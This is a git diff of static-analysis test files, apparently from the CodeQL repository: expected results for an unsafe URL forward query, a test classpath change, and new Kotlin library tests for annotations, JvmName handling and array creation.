+| UnsafeResourceGet.java:245:21:245:32 | getPath(...) | UnsafeResourceGet.java:237:24:237:58 | getParameter(...) : String | UnsafeResourceGet.java:245:21:245:32 | getPath(...) | Potentially untrusted URL forward due to $@. | UnsafeResourceGet.java:237:24:237:58 | getParameter(...) | user-provided value |
 | UnsafeServletRequestDispatch.java:32:51:32:59 | returnURL | UnsafeServletRequestDispatch.java:23:22:23:54 | getParameter(...) : String | UnsafeServletRequestDispatch.java:32:51:32:59 | returnURL | Potentially untrusted URL forward due to $@. | UnsafeServletRequestDispatch.java:23:22:23:54 | getParameter(...) | user-provided value |
 | UnsafeServletRequestDispatch.java:48:56:48:64 | returnURL | UnsafeServletRequestDispatch.java:42:22:42:54 | getParameter(...) : String | UnsafeServletRequestDispatch.java:48:56:48:64 | returnURL | Potentially untrusted URL forward due to $@. | UnsafeServletRequestDispatch.java:42:22:42:54 | getParameter(...) | user-provided value |
 | UnsafeServletRequestDispatch.java:76:53:76:56 | path | UnsafeServletRequestDispatch.java:71:17:71:44 | getParameter(...) : String | UnsafeServletRequestDispatch.java:76:53:76:56 | path | Potentially untrusted URL forward due to $@. | UnsafeServletRequestDispatch.java:71:17:71:44 | getParameter(...) | user-provided value |
diff --git a/java/ql/test/experimental/query-tests/security/CWE-552/options b/java/ql/test/experimental/query-tests/security/CWE-552/options
index ba166b547a0..095b86c3e9a 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-552/options
+++ b/java/ql/test/experimental/query-tests/security/CWE-552/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/springframework-5.3.8/
\ No newline at end of file
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/springframework-5.3.8/:${testdir}/../../../../stubs/javax-faces-2.3/:${testdir}/../../../../stubs/undertow-io-2.2/:${testdir}/../../../../stubs/jboss-vfs-3.2/
diff --git a/java/ql/test/kotlin/library-tests/.gitignore b/java/ql/test/kotlin/library-tests/.gitignore
new file mode 100644
index 00000000000..3e31e72635e
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/.gitignore
@@ -0,0 +1,2 @@
+META-INF
+*.class
diff --git a/java/ql/test/kotlin/library-tests/annotation_classes/classes.expected b/java/ql/test/kotlin/library-tests/annotation_classes/classes.expected
new file mode 100644
index 00000000000..240c4bb055b
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/annotation_classes/classes.expected
@@ -0,0 +1,2 @@
+| def.kt:2:1:2:31 | SomeAnnotation | Interface |
+| use.java:2:23:2:25 | use | Class |
diff --git a/java/ql/test/kotlin/library-tests/annotation_classes/classes.ql b/java/ql/test/kotlin/library-tests/annotation_classes/classes.ql
new file mode 100644
index 00000000000..652ab21520f
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/annotation_classes/classes.ql
@@ -0,0 +1,5 @@
+import java
+
+from ClassOrInterface x
+where x.fromSource()
+select x, x.getPrimaryQlClasses()
diff --git a/java/ql/test/kotlin/library-tests/annotation_classes/def.kt b/java/ql/test/kotlin/library-tests/annotation_classes/def.kt
new file mode 100644
index 00000000000..556973c4728
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/annotation_classes/def.kt
@@ -0,0 +1,3 @@
+
+annotation class SomeAnnotation
+
diff --git a/java/ql/test/kotlin/library-tests/annotation_classes/use.java b/java/ql/test/kotlin/library-tests/annotation_classes/use.java
new file mode 100644
index 00000000000..b848298e1ff
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/annotation_classes/use.java
@@ -0,0 +1,3 @@
+
+public abstract class use implements SomeAnnotation {}
+
diff --git a/java/ql/test/kotlin/library-tests/annotations/jvmName/Test.java b/java/ql/test/kotlin/library-tests/annotations/jvmName/Test.java
new file mode 100644
index 00000000000..f76fd8e018d
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/annotations/jvmName/Test.java
@@ -0,0 +1,5 @@
+class Test {
+    public void m() {
+        int i = new X().getX_prop();
+    }
+}
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/annotations/jvmName/test.expected b/java/ql/test/kotlin/library-tests/annotations/jvmName/test.expected
new file mode 100644
index 00000000000..8517c2a70f2
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/annotations/jvmName/test.expected
@@ -0,0 +1,8 @@
+| Test.java:2:17:2:17 | m | m | m |
+| test.kt:4:9:4:18 | getX_prop | getX_prop | getX |
+| test.kt:6:5:6:19 | getX | getX | getX |
+| test.kt:10:5:10:19 | changeY | changeY | setY |
+| test.kt:10:5:10:19 | y | y | getY |
+| test.kt:13:5:13:15 | method | method | fn |
+| test.kt:17:5:17:14 | p | p | p |
+| test.kt:18:23:18:32 | w | w | q |
diff --git a/java/ql/test/kotlin/library-tests/annotations/jvmName/test.kt b/java/ql/test/kotlin/library-tests/annotations/jvmName/test.kt
new file mode 100644
index 00000000000..57b65f71355
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/annotations/jvmName/test.kt
@@ -0,0 +1,18 @@
+class X {
+    val x: Int
+        @JvmName("getX_prop")
+        get() = 15
+
+    fun getX() = 10
+
+    @get:JvmName("y")
+    @set:JvmName("changeY")
+    var y: Int = 23
+
+    @JvmName("method")
+    fun fn() {}
+}
+
+annotation class Ann(
+    val p: Int,
+    @get:JvmName("w") val q: Int)
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/annotations/jvmName/test.ql b/java/ql/test/kotlin/library-tests/annotations/jvmName/test.ql
new file mode 100644
index 00000000000..7285e3a1053
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/annotations/jvmName/test.ql
@@ -0,0 +1,5 @@
+import java
+
+query predicate names(Method m, string name, string kotlinName) {
+  m.fromSource() and name = m.getName() and kotlinName = m.getKotlinName()
+}
diff --git a/java/ql/test/kotlin/library-tests/arrays/arrayAccesses.expected b/java/ql/test/kotlin/library-tests/arrays/arrayAccesses.expected
new file mode 100644
index 00000000000..986bdeed21f
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/arrays/arrayAccesses.expected
@@ -0,0 +1,22 @@
+| arrayGetsSets.kt:12:3:12:7 | ...[...] | arrayGetsSets.kt:12:3:12:7 | ...=... | int[] | arrayGetsSets.kt:12:3:12:4 | a1 | arrayGetsSets.kt:12:6:12:6 | 0 |
+| arrayGetsSets.kt:12:11:12:15 | ...[...] | arrayGetsSets.kt:12:3:12:7 | ...=... | int | arrayGetsSets.kt:12:11:12:12 | a1 | arrayGetsSets.kt:12:14:12:14 | 0 |
+| arrayGetsSets.kt:13:3:13:7 | ...[...] | arrayGetsSets.kt:13:3:13:7 | ...=... | short[] | arrayGetsSets.kt:13:3:13:4 | a2 | arrayGetsSets.kt:13:6:13:6 | 0 |
+| arrayGetsSets.kt:13:11:13:15 | ...[...] | arrayGetsSets.kt:13:3:13:7 | ...=... | short | arrayGetsSets.kt:13:11:13:12 | a2 | arrayGetsSets.kt:13:14:13:14 | 0 |
+| arrayGetsSets.kt:14:3:14:7 | ...[...] | arrayGetsSets.kt:14:3:14:7 | ...=... | byte[] | arrayGetsSets.kt:14:3:14:4 | a3 | arrayGetsSets.kt:14:6:14:6 | 0 |
+| arrayGetsSets.kt:14:11:14:15 | ...[...] | arrayGetsSets.kt:14:3:14:7 | ...=... | byte | arrayGetsSets.kt:14:11:14:12 | a3 | arrayGetsSets.kt:14:14:14:14 | 0 |
+| arrayGetsSets.kt:15:3:15:7 | ...[...] | arrayGetsSets.kt:15:3:15:7 | ...=... | long[] | arrayGetsSets.kt:15:3:15:4 | a4 | arrayGetsSets.kt:15:6:15:6 | 0 |
+| arrayGetsSets.kt:15:11:15:15 | ...[...] | arrayGetsSets.kt:15:3:15:7 | ...=... | long | arrayGetsSets.kt:15:11:15:12 | a4 | arrayGetsSets.kt:15:14:15:14 | 0 |
+| arrayGetsSets.kt:16:3:16:7 | ...[...] | arrayGetsSets.kt:16:3:16:7 | ...=... | float[] | arrayGetsSets.kt:16:3:16:4 | a5 | arrayGetsSets.kt:16:6:16:6 | 0 |
+| arrayGetsSets.kt:16:11:16:15 | ...[...] | arrayGetsSets.kt:16:3:16:7 | ...=... | float | arrayGetsSets.kt:16:11:16:12 | a5 | arrayGetsSets.kt:16:14:16:14 | 0 |
+| arrayGetsSets.kt:17:3:17:7 | ...[...] | arrayGetsSets.kt:17:3:17:7 | ...=... | double[] | arrayGetsSets.kt:17:3:17:4 | a6 | arrayGetsSets.kt:17:6:17:6 | 0 |
+| arrayGetsSets.kt:17:11:17:15 | ...[...] | arrayGetsSets.kt:17:3:17:7 | ...=... | double | arrayGetsSets.kt:17:11:17:12 | a6 | arrayGetsSets.kt:17:14:17:14 | 0 |
+| arrayGetsSets.kt:18:3:18:7 | ...[...] | arrayGetsSets.kt:18:3:18:7 | ...=... | boolean[] | arrayGetsSets.kt:18:3:18:4 | a7 | arrayGetsSets.kt:18:6:18:6 | 0 |
+| arrayGetsSets.kt:18:11:18:15 | ...[...] | arrayGetsSets.kt:18:3:18:7 | ...=... | boolean | arrayGetsSets.kt:18:11:18:12 | a7 | arrayGetsSets.kt:18:14:18:14 | 0 |
+| arrayGetsSets.kt:19:3:19:7 | ...[...] | arrayGetsSets.kt:19:3:19:7 | ...=... | char[] | arrayGetsSets.kt:19:3:19:4 | a8 | arrayGetsSets.kt:19:6:19:6 | 0 |
+| arrayGetsSets.kt:19:11:19:15 | ...[...] | arrayGetsSets.kt:19:3:19:7 | ...=... | char | arrayGetsSets.kt:19:11:19:12 | a8 | arrayGetsSets.kt:19:14:19:14 | 0 |
+| arrayGetsSets.kt:20:3:20:7 | ...[...] | arrayGetsSets.kt:20:3:20:7 | ...=... | Object[] | arrayGetsSets.kt:20:3:20:4 | a9 | arrayGetsSets.kt:20:6:20:6 | 0 |
+| arrayGetsSets.kt:20:11:20:15 | ...[...] | arrayGetsSets.kt:20:3:20:7 | ...=... | Object | arrayGetsSets.kt:20:11:20:12 | a9 | arrayGetsSets.kt:20:14:20:14 | 0 |
+| arrayGetsSets.kt:32:3:32:7 | ...[...] | arrayGetsSets.kt:32:3:32:7 | ...+=... | int | arrayGetsSets.kt:32:3:32:4 | a1 | arrayGetsSets.kt:32:6:32:6 | 0 |
+| arrayGetsSets.kt:38:3:38:7 | ...[...] | arrayGetsSets.kt:38:3:38:7 | .../=... | long | arrayGetsSets.kt:38:3:38:4 | a4 | arrayGetsSets.kt:38:6:38:6 | 0 |
+| arrayGetsSets.kt:39:3:39:7 | ...[...] | arrayGetsSets.kt:39:3:39:7 | ...-=... | float | arrayGetsSets.kt:39:3:39:4 | a5 | arrayGetsSets.kt:39:6:39:6 | 0 |
+| arrayGetsSets.kt:40:3:40:7 | ...[...] | arrayGetsSets.kt:40:3:40:7 | ...*=... | double | arrayGetsSets.kt:40:3:40:4 | a6 | arrayGetsSets.kt:40:6:40:6 | 0 |
diff --git a/java/ql/test/kotlin/library-tests/arrays/arrayAccesses.ql b/java/ql/test/kotlin/library-tests/arrays/arrayAccesses.ql
new file mode 100644
index 00000000000..8219b13425c
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/arrays/arrayAccesses.ql
@@ -0,0 +1,4 @@
+import java
+
+from ArrayAccess aa
+select aa, aa.getParent(), aa.getType().toString(), aa.getArray(), aa.getIndexExpr()
diff --git a/java/ql/test/kotlin/library-tests/arrays/arrayCreations.expected b/java/ql/test/kotlin/library-tests/arrays/arrayCreations.expected
new file mode 100644
index 00000000000..8b8c3fe591f
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/arrays/arrayCreations.expected
@@ -0,0 +1,115 @@
+arrayCreationTypes
+| arrayCreations.kt:5:14:5:33 | new Integer[] | file://:0:0:0:0 | Integer[] | arrayCreations.kt:5:14:5:33 | Integer |
+| arrayCreations.kt:6:14:6:32 | new Integer[] | file://:0:0:0:0 | Integer[] | arrayCreations.kt:6:14:6:32 | Integer |
+| arrayCreations.kt:7:14:7:46 | new double[] | file://:0:0:0:0 | double[] | arrayCreations.kt:7:14:7:46 | double |
+| arrayCreations.kt:8:14:8:49 | new float[] | file://:0:0:0:0 | float[] | arrayCreations.kt:8:14:8:49 | float |
+| arrayCreations.kt:9:14:9:36 | new long[] | file://:0:0:0:0 | long[] | arrayCreations.kt:9:14:9:36 | long |
+| arrayCreations.kt:10:14:10:35 | new int[] | file://:0:0:0:0 | int[] | arrayCreations.kt:10:14:10:35 | int |
+| arrayCreations.kt:11:14:11:34 | new char[] | file://:0:0:0:0 | char[] | arrayCreations.kt:11:14:11:34 | char |
+| arrayCreations.kt:12:14:12:37 | new short[] | file://:0:0:0:0 | short[] | arrayCreations.kt:12:14:12:37 | short |
+| arrayCreations.kt:13:14:13:36 | new byte[] | file://:0:0:0:0 | byte[] | arrayCreations.kt:13:14:13:36 | byte |
+| arrayCreations.kt:14:14:14:52 | new boolean[] | file://:0:0:0:0 | boolean[] | arrayCreations.kt:14:14:14:52 | boolean |
+| arrayCreations.kt:17:14:17:68 | new int[][] | file://:0:0:0:0 | int[][] | arrayCreations.kt:17:14:17:68 | int[] |
+| arrayCreations.kt:17:22:17:43 | new int[] | file://:0:0:0:0 | int[] | arrayCreations.kt:17:22:17:43 | int |
+| arrayCreations.kt:17:46:17:67 | new int[] | file://:0:0:0:0 | int[] | arrayCreations.kt:17:46:17:67 | int |
+| arrayCreations.kt:18:14:18:65 | new Object[] | file://:0:0:0:0 | Object[] | arrayCreations.kt:18:14:18:65 | Object |
+| arrayCreations.kt:18:22:18:43 | new int[] | file://:0:0:0:0 | int[] | arrayCreations.kt:18:22:18:43 | int |
+| arrayCreations.kt:18:46:18:64 | new Integer[] | file://:0:0:0:0 | Integer[] | arrayCreations.kt:18:46:18:64 | Integer |
+| arrayCreations.kt:19:14:19:62 | new Integer[][] | file://:0:0:0:0 | Integer[][] | arrayCreations.kt:19:14:19:62 | Integer[] |
+| arrayCreations.kt:19:22:19:40 | new Integer[] | file://:0:0:0:0 | Integer[] | arrayCreations.kt:19:22:19:40 | Integer |
+| arrayCreations.kt:19:43:19:61 | new Integer[] | file://:0:0:0:0 | Integer[] | arrayCreations.kt:19:43:19:61 | Integer |
+arrayCreationDimensions
+| arrayCreations.kt:5:14:5:33 | new Integer[] | arrayCreations.kt:5:32:5:32 | 1 | 0 |
+| arrayCreations.kt:6:14:6:32 | new Integer[] | arrayCreations.kt:6:14:6:32 | 4 | 0 |
+| arrayCreations.kt:7:14:7:46 | new double[] | arrayCreations.kt:7:14:7:46 | 4 | 0 |
+| arrayCreations.kt:8:14:8:49 | new float[] | arrayCreations.kt:8:14:8:49 | 4 | 0 |
+| arrayCreations.kt:9:14:9:36 | new long[] | arrayCreations.kt:9:14:9:36 | 4 | 0 |
+| arrayCreations.kt:10:14:10:35 | new int[] | arrayCreations.kt:10:14:10:35 | 4 | 0 |
+| arrayCreations.kt:11:14:11:34 | new char[] | arrayCreations.kt:11:14:11:34 | 2 | 0 |
+| arrayCreations.kt:12:14:12:37 | new short[] | arrayCreations.kt:12:14:12:37 | 4 | 0 |
+| arrayCreations.kt:13:14:13:36 | new byte[] | arrayCreations.kt:13:14:13:36 | 4 | 0 |
+| arrayCreations.kt:14:14:14:52 | new boolean[] | arrayCreations.kt:14:14:14:52 | 4 | 0 |
+| arrayCreations.kt:17:14:17:68 | new int[][] | arrayCreations.kt:17:14:17:68 | 2 | 0 |
+| arrayCreations.kt:17:22:17:43 | new int[] | arrayCreations.kt:17:22:17:43 | 4 | 0 |
+| arrayCreations.kt:17:46:17:67 | new int[] | arrayCreations.kt:17:46:17:67 | 4 | 0 |
+| arrayCreations.kt:18:14:18:65 | new Object[] | arrayCreations.kt:18:14:18:65 | 2 | 0 |
+| arrayCreations.kt:18:22:18:43 | new int[] | arrayCreations.kt:18:22:18:43 | 4 | 0 |
+| arrayCreations.kt:18:46:18:64 | new Integer[] | arrayCreations.kt:18:46:18:64 | 4 | 0 |
+| arrayCreations.kt:19:14:19:62 | new Integer[][] | arrayCreations.kt:19:14:19:62 | 2 | 0 |
+| arrayCreations.kt:19:22:19:40 | new Integer[] | arrayCreations.kt:19:22:19:40 | 4 | 0 |
+| arrayCreations.kt:19:43:19:61 | new Integer[] | arrayCreations.kt:19:43:19:61 | 4 | 0 |
+arrayCreationInit
+| arrayCreations.kt:6:14:6:32 | new Integer[] | arrayCreations.kt:6:14:6:32 | {...} | arrayCreations.kt:6:22:6:22 | 1 | 0 |
+| arrayCreations.kt:6:14:6:32 | new Integer[] | arrayCreations.kt:6:14:6:32 | {...} | arrayCreations.kt:6:25:6:25 | 2 | 1 |
+| arrayCreations.kt:6:14:6:32 | new Integer[] | arrayCreations.kt:6:14:6:32 | {...} | arrayCreations.kt:6:28:6:28 | 3 | 2 |
+| arrayCreations.kt:6:14:6:32 | new Integer[] | arrayCreations.kt:6:14:6:32 | {...} | arrayCreations.kt:6:31:6:31 | 4 | 3 |
+| arrayCreations.kt:7:14:7:46 | new double[] | arrayCreations.kt:7:14:7:46 | {...} | arrayCreations.kt:7:28:7:30 | 1.0 | 0 |
+| arrayCreations.kt:7:14:7:46 | new double[] | arrayCreations.kt:7:14:7:46 | {...} | arrayCreations.kt:7:33:7:35 | 2.0 | 1 |
+| arrayCreations.kt:7:14:7:46 | new double[] | arrayCreations.kt:7:14:7:46 | {...} | arrayCreations.kt:7:38:7:40 | 3.0 | 2 |
+| arrayCreations.kt:7:14:7:46 | new double[] | arrayCreations.kt:7:14:7:46 | {...} | arrayCreations.kt:7:43:7:45 | 4.0 | 3 |
+| arrayCreations.kt:8:14:8:49 | new float[] | arrayCreations.kt:8:14:8:49 | {...} | arrayCreations.kt:8:27:8:30 | 1.0 | 0 |
+| arrayCreations.kt:8:14:8:49 | new float[] | arrayCreations.kt:8:14:8:49 | {...} | arrayCreations.kt:8:33:8:36 | 2.0 | 1 |
+| arrayCreations.kt:8:14:8:49 | new float[] | arrayCreations.kt:8:14:8:49 | {...} | arrayCreations.kt:8:39:8:42 | 3.0 | 2 |
+| arrayCreations.kt:8:14:8:49 | new float[] | arrayCreations.kt:8:14:8:49 | {...} | arrayCreations.kt:8:45:8:48 | 4.0 | 3 |
+| arrayCreations.kt:9:14:9:36 | new long[] | arrayCreations.kt:9:14:9:36 | {...} | arrayCreations.kt:9:26:9:26 | 1 | 0 |
+| arrayCreations.kt:9:14:9:36 | new long[] | arrayCreations.kt:9:14:9:36 | {...} | arrayCreations.kt:9:29:9:29 | 2 | 1 |
+| arrayCreations.kt:9:14:9:36 | new long[] | arrayCreations.kt:9:14:9:36 | {...} | arrayCreations.kt:9:32:9:32 | 3 | 2 |
+| arrayCreations.kt:9:14:9:36 | new long[] | arrayCreations.kt:9:14:9:36 | {...} | arrayCreations.kt:9:35:9:35 | 4 | 3 |
+| arrayCreations.kt:10:14:10:35 | new int[] | arrayCreations.kt:10:14:10:35 | {...} | arrayCreations.kt:10:25:10:25 | 1 | 0 |
+| arrayCreations.kt:10:14:10:35 | new int[] | arrayCreations.kt:10:14:10:35 | {...} | arrayCreations.kt:10:28:10:28 | 2 | 1 |
+| arrayCreations.kt:10:14:10:35 | new int[] | arrayCreations.kt:10:14:10:35 | {...} | arrayCreations.kt:10:31:10:31 | 3 | 2 |
+| arrayCreations.kt:10:14:10:35 | new int[] | arrayCreations.kt:10:14:10:35 | {...} | arrayCreations.kt:10:34:10:34 | 4 | 3 |
+| arrayCreations.kt:11:14:11:34 | new char[] | arrayCreations.kt:11:14:11:34 | {...} | arrayCreations.kt:11:26:11:28 | a | 0 |
+| arrayCreations.kt:11:14:11:34 | new char[] | arrayCreations.kt:11:14:11:34 | {...} | arrayCreations.kt:11:31:11:33 | b | 1 |
+| arrayCreations.kt:12:14:12:37 | new short[] | arrayCreations.kt:12:14:12:37 | {...} | arrayCreations.kt:12:27:12:27 | 1 | 0 |
+| arrayCreations.kt:12:14:12:37 | new short[] | arrayCreations.kt:12:14:12:37 | {...} | arrayCreations.kt:12:30:12:30 | 2 | 1 |
+| arrayCreations.kt:12:14:12:37 | new short[] | arrayCreations.kt:12:14:12:37 | {...} | arrayCreations.kt:12:33:12:33 | 3 | 2 |
+| arrayCreations.kt:12:14:12:37 | new short[] | arrayCreations.kt:12:14:12:37 | {...} | arrayCreations.kt:12:36:12:36 | 4 | 3 |
+| arrayCreations.kt:13:14:13:36 | new byte[] | arrayCreations.kt:13:14:13:36 | {...} | arrayCreations.kt:13:26:13:26 | 1 | 0 |
+| arrayCreations.kt:13:14:13:36 | new byte[] | arrayCreations.kt:13:14:13:36 | {...} | arrayCreations.kt:13:29:13:29 | 2 | 1 |
+| arrayCreations.kt:13:14:13:36 | new byte[] | arrayCreations.kt:13:14:13:36 | {...} | arrayCreations.kt:13:32:13:32 | 3 | 2 |
+| arrayCreations.kt:13:14:13:36 | new byte[] | arrayCreations.kt:13:14:13:36 | {...} | arrayCreations.kt:13:35:13:35 | 4 | 3 |
+| arrayCreations.kt:14:14:14:52 | new boolean[] | arrayCreations.kt:14:14:14:52 | {...} | arrayCreations.kt:14:29:14:32 | true | 0 |
+| arrayCreations.kt:14:14:14:52 | new boolean[] | arrayCreations.kt:14:14:14:52 | {...} | arrayCreations.kt:14:35:14:39 | false | 1 |
+| arrayCreations.kt:14:14:14:52 | new boolean[] | arrayCreations.kt:14:14:14:52 | {...} | arrayCreations.kt:14:42:14:45 | true | 2 |
+| arrayCreations.kt:14:14:14:52 | new boolean[] | arrayCreations.kt:14:14:14:52 | {...} | arrayCreations.kt:14:48:14:51 | true | 3 |
+| arrayCreations.kt:17:14:17:68 | new int[][] | arrayCreations.kt:17:14:17:68 | {...} | arrayCreations.kt:17:22:17:43 | new int[] | 0 |
+| arrayCreations.kt:17:14:17:68 | new int[][] | arrayCreations.kt:17:14:17:68 | {...} | arrayCreations.kt:17:46:17:67 | new int[] | 1 |
+| arrayCreations.kt:17:22:17:43 | new int[] | arrayCreations.kt:17:22:17:43 | {...} | arrayCreations.kt:17:33:17:33 | 1 | 0 |
+| arrayCreations.kt:17:22:17:43 | new int[] | arrayCreations.kt:17:22:17:43 | {...} | arrayCreations.kt:17:36:17:36 | 2 | 1 |
+| arrayCreations.kt:17:22:17:43 | new int[] | arrayCreations.kt:17:22:17:43 | {...} | arrayCreations.kt:17:39:17:39 | 3 | 2 |
+| arrayCreations.kt:17:22:17:43 | new int[] | arrayCreations.kt:17:22:17:43 | {...} | arrayCreations.kt:17:42:17:42 | 4 | 3 |
+| arrayCreations.kt:17:46:17:67 | new int[] | arrayCreations.kt:17:46:17:67 | {...} | arrayCreations.kt:17:57:17:57 | 1 | 0 |
+| arrayCreations.kt:17:46:17:67 | new int[] | arrayCreations.kt:17:46:17:67 | {...} | arrayCreations.kt:17:60:17:60 | 2 | 1 |
+| arrayCreations.kt:17:46:17:67 | new int[] | arrayCreations.kt:17:46:17:67 | {...} | arrayCreations.kt:17:63:17:63 | 3 | 2 |
+| arrayCreations.kt:17:46:17:67 | new int[] | arrayCreations.kt:17:46:17:67 | {...} | arrayCreations.kt:17:66:17:66 | 4 | 3 |
+| arrayCreations.kt:18:14:18:65 | new Object[] | arrayCreations.kt:18:14:18:65 | {...} | arrayCreations.kt:18:22:18:43 | new int[] | 0 |
+| arrayCreations.kt:18:14:18:65 | new Object[] | arrayCreations.kt:18:14:18:65 | {...} | arrayCreations.kt:18:46:18:64 | new Integer[] | 1 |
+| arrayCreations.kt:18:22:18:43 | new int[] | arrayCreations.kt:18:22:18:43 | {...} | arrayCreations.kt:18:33:18:33 | 1 | 0 |
+| arrayCreations.kt:18:22:18:43 | new int[] | arrayCreations.kt:18:22:18:43 | {...} | arrayCreations.kt:18:36:18:36 | 2 | 1 |
+| arrayCreations.kt:18:22:18:43 | new int[] | arrayCreations.kt:18:22:18:43 | {...} | arrayCreations.kt:18:39:18:39 | 3 | 2 |
+| arrayCreations.kt:18:22:18:43 | new int[] | arrayCreations.kt:18:22:18:43 | {...} | arrayCreations.kt:18:42:18:42 | 4 | 3 |
+| arrayCreations.kt:18:46:18:64 | new Integer[] | arrayCreations.kt:18:46:18:64 | {...} | arrayCreations.kt:18:54:18:54 | 1 | 0 |
+| arrayCreations.kt:18:46:18:64 | new Integer[] | arrayCreations.kt:18:46:18:64 | {...} | arrayCreations.kt:18:57:18:57 | 2 | 1 |
+| arrayCreations.kt:18:46:18:64 | new Integer[] | arrayCreations.kt:18:46:18:64 | {...} | arrayCreations.kt:18:60:18:60 | 3 | 2 |
+| arrayCreations.kt:18:46:18:64 | new Integer[] | arrayCreations.kt:18:46:18:64 | {...} | arrayCreations.kt:18:63:18:63 | 4 | 3 |
+| arrayCreations.kt:19:14:19:62 | new Integer[][] | arrayCreations.kt:19:14:19:62 | {...} | arrayCreations.kt:19:22:19:40 | new Integer[] | 0 |
+| arrayCreations.kt:19:14:19:62 | new Integer[][] | arrayCreations.kt:19:14:19:62 | {...} | arrayCreations.kt:19:43:19:61 | new Integer[] | 1 |
+| arrayCreations.kt:19:22:19:40 | new Integer[] | arrayCreations.kt:19:22:19:40 | {...} | arrayCreations.kt:19:30:19:30 | 1 | 0 |
+| arrayCreations.kt:19:22:19:40 | new Integer[] | arrayCreations.kt:19:22:19:40 | {...} | arrayCreations.kt:19:33:19:33 | 2 | 1 |
+| arrayCreations.kt:19:22:19:40 | new Integer[] | arrayCreations.kt:19:22:19:40 | {...} | arrayCreations.kt:19:36:19:36 | 3 | 2 |
+| arrayCreations.kt:19:22:19:40 | new Integer[] | arrayCreations.kt:19:22:19:40 | {...} | arrayCreations.kt:19:39:19:39 | 4 | 3 |
+| arrayCreations.kt:19:43:19:61 | new Integer[] | arrayCreations.kt:19:43:19:61 | {...} | arrayCreations.kt:19:51:19:51 | 1 | 0 |
+| arrayCreations.kt:19:43:19:61 | new Integer[] | arrayCreations.kt:19:43:19:61 | {...} | arrayCreations.kt:19:54:19:54 | 2 | 1 |
+| arrayCreations.kt:19:43:19:61 | new Integer[] | arrayCreations.kt:19:43:19:61 | {...} | arrayCreations.kt:19:57:19:57 | 3 | 2 |
+| arrayCreations.kt:19:43:19:61 | new Integer[] | arrayCreations.kt:19:43:19:61 | {...} | arrayCreations.kt:19:60:19:60 | 4 | 3 |
+cloneCalls
+| arrayCreations.kt:29:18:29:29 | clone(...) | file://:0:0:0:0 | Integer[] |
+| arrayCreations.kt:30:18:30:35 | clone(...) | file://:0:0:0:0 | double[] |
+| arrayCreations.kt:31:18:31:34 | clone(...) | file://:0:0:0:0 | float[] |
+| arrayCreations.kt:32:18:32:33 | clone(...) | file://:0:0:0:0 | long[] |
+| arrayCreations.kt:33:18:33:32 | clone(...) | file://:0:0:0:0 | int[] |
+| arrayCreations.kt:34:18:34:33 | clone(...) | file://:0:0:0:0 | char[] |
+| arrayCreations.kt:35:18:35:34 | clone(...) | file://:0:0:0:0 | short[] |
+| arrayCreations.kt:36:18:36:33 | clone(...) | file://:0:0:0:0 | byte[] |
+| arrayCreations.kt:37:18:37:36 | clone(...) | file://:0:0:0:0 | boolean[] |
diff --git a/java/ql/test/kotlin/library-tests/arrays/arrayCreations.kt b/java/ql/test/kotlin/library-tests/arrays/arrayCreations.kt
new file mode 100644
index 00000000000..e374f7a24bd
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/arrays/arrayCreations.kt
@@ -0,0 +1,39 @@
+package test
+
+class TestArrayCreation {
+  fun test1() {
+    val a0 = arrayOfNulls<Int>(1)
+    val a1 = arrayOf(1, 2, 3, 4)
+    val a2 = doubleArrayOf(1.0, 2.0, 3.0, 4.0)
+    val a3 = floatArrayOf(1.0f, 2.0f, 3.0f, 4.0f)
+    val a4 = longArrayOf(1, 2, 3, 4)
+    val a5 = intArrayOf(1, 2, 3, 4)
+    val a6 = charArrayOf('a', 'b')
+    val a7 = shortArrayOf(1, 2, 3, 4)
+    val a8 = byteArrayOf(1, 2, 3, 4)
+    val a9 = booleanArrayOf(true, false, true, true)
+
+    // TODO: These don't match the corresponding Java hierarchy
+    val n0 = arrayOf(intArrayOf(1, 2, 3, 4), intArrayOf(1, 2, 3, 4))    // int[][]
+    val n1 = arrayOf(intArrayOf(1, 2, 3, 4), arrayOf(1, 2, 3, 4))       // Object[]
+    val n2 = arrayOf(arrayOf(1, 2, 3, 4), arrayOf(1, 2, 3, 4))          // Integer[][]
+
+    // TODO: these are constructor calls:
+    val a10 = Array<Int>(1) { 1 }
+    val a11 = Array(5) { 1 }
+    val a12 = IntArray(5)
+    val a13 = IntArray(5) { 1 }
+    var a14 = IntArray(5) { it * 1 }
+    val a15 = Array(4) { IntArray(2) }
+
+    val clone1 = arrayOf(*a1)
+    val clone2 = doubleArrayOf(*a2)
+    val clone3 = floatArrayOf(*a3)
+    val clone4 = longArrayOf(*a4)
+    val clone5 = intArrayOf(*a5)
+    val clone6 = charArrayOf(*a6)
+    val clone7 = shortArrayOf(*a7)
+    val clone8 = byteArrayOf(*a8)
+    val clone9 = booleanArrayOf(*a9)
+  }
+}
diff --git a/java/ql/test/kotlin/library-tests/arrays/arrayCreations.ql b/java/ql/test/kotlin/library-tests/arrays/arrayCreations.ql
new file mode 100644
index 00000000000..c0316ce75db
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/arrays/arrayCreations.ql
@@ -0,0 +1,18 @@
+import java
+
+query predicate arrayCreationTypes(ArrayCreationExpr ace, Type t, TypeAccess elementType) {
+  t = ace.getType() and elementType.getParent() = ace
+}
+
+query predicate arrayCreationDimensions(ArrayCreationExpr ace, Expr dimension, int dimensionIdx) {
+  ace.getDimension(dimensionIdx) = dimension
+}
+
+query predicate arrayCreationInit(ArrayCreationExpr ace, ArrayInit init, Expr e, int idx) {
+  ace.getInit() = init and
+  init.getInit(idx) = e
+}
+
